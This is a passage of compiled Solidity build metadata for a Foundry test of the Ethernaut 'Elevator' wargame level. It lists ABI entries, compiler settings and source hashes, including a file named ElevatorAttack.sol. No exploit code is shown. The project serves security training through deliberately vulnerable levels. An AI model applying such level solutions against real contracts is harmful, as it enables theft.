{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Elevator.t.sol\":\"TestElevator\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/ElevatorAttack.sol\":{\"keccak256\":\"0x1c751127636254a26b226b38329161f4b1a302aaa7bcd87d91c520001501bf97\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://138b717ba7798031f2d3f66692074797cacc011d190c2910a345af8ddce01a28\",\"dweb:/ipfs/Qmbw35HtjgBUXndacSJ9NUAXbJmp61MswmuCdJwyRJqtPY\"]},\"src/levels/Elevator.sol\":{\"keccak256\":\"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93\",\"dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH\"]},\"src/levels/ElevatorFactory.sol\":{\"keccak256\":\"0x9c936a53095289c2606f0c66ad9769d005fc68fcbaa9115690433a667c8d0b98\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9b301f044f6ff7dcd3eaa5ccefa33237567c10ced4dd8390dcf3991ba4193873\",\"dweb:/ipfs/QmUeonQiRzzcT1F43bAvJb4TaEs5mL36EDzxR2ifc2JXeo\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Elevator.t.sol\":{\"keccak256\":\"0xa2026fd6cab2aa7b4c6471f9b6def4406f57ab3cff95b727b62a6afbaebf4f41\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://62dc891a776b0499bc27c42fc52c65adc1bd13b7f4506d92ca5a7800faa36eac\",\"dweb:/ipfs/QmaNhQY8aULT8N9ZnC5gFzj7h45Gi4YWtc4LmdxXADZMi5\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","